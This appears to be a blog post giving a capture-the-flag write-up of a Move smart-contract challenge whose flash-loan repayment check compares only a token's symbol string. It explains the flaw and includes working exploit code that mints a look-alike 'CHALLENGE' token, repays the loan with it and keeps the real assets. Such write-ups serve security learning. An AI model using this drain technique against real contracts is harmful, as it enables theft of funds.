Back to blog
September 25, 2025CTF - Smart Contracts

Defcon - Appsec CTF - Move Drain

challenge

struct FlashLoan has drop {
    amount: u64,
    asset: String
}

public fun flash_loan(_user: &signer, amount: u64): (FungibleAsset, FlashLoan) acquires Env {
    let env = borrow_global<Env>(@challenger);
    let fa = primary_fungible_store::withdraw_with_ref(&env.transfer_ref, @challenger, amount);
    (fa, FlashLoan { amount, asset: fungible_asset::symbol(env.metadata) })
}

public fun repay_flash_loan(_user: &signer, flash_loan: FlashLoan, asset: FungibleAsset) {
    let metadata = fungible_asset::metadata_from_asset(&asset);
    assert!(fungible_asset::symbol(metadata) == flash_loan.asset);
    assert!(fungible_asset::amount(&asset) >= flash_loan.amount);
    primary_fungible_store::deposit(@challenger, asset);
}

  • The loan “receipt” stores only a symbol string (asset: String), not the Object<Metadata>
  • repay_flash_loan checks symbol(metadata) == flash_loan.asset, allowing repayment with any fungible asset that shares the same symbol, even if it’s a different metadata/object (i.e., a different token class).
  • As a result, an attacker can mint a fake asset with symbol "CHALLENGE" and repay with it.

tldr :

  1. Call flash_loan to borrow real CHALLENGE from @challenger.
  2. Create our own FA class with the same symbol "CHALLENGE" and mint enough units.
  3. Call repay_flash_loan using our fake CHALLENGE
  4. Deposit the real borrowed CHALLENGE into our account; the protocol now holds worthless look-alikes.
  5. Run check_solution: it asserts balance(@challenger, env.metadata) == 0, which is true since we withdrew the real asset tied to env.metadata.
let (real, rec) = challenge::flash_loan(me, TOTAL);

// mint fake asset with same symbol "CHALLENGE"
let ctor = &object::create_named_object(me, b"CHALLENGE");
primary_fungible_store::create_primary_store_enabled_fungible_asset(
  ctor, option::none(), utf8(b"Fake"), utf8(b"CHALLENGE"), 8, utf8(b"x"), utf8(b"x")
);
let mint_ref = fungible_asset::generate_mint_ref(ctor);
let fake = fungible_asset::mint(&mint_ref, TOTAL);

// repay with fake
challenge::repay_flash_loan(me, rec, fake);

// keep the real
primary_fungible_store::deposit(signer::address_of(me), real);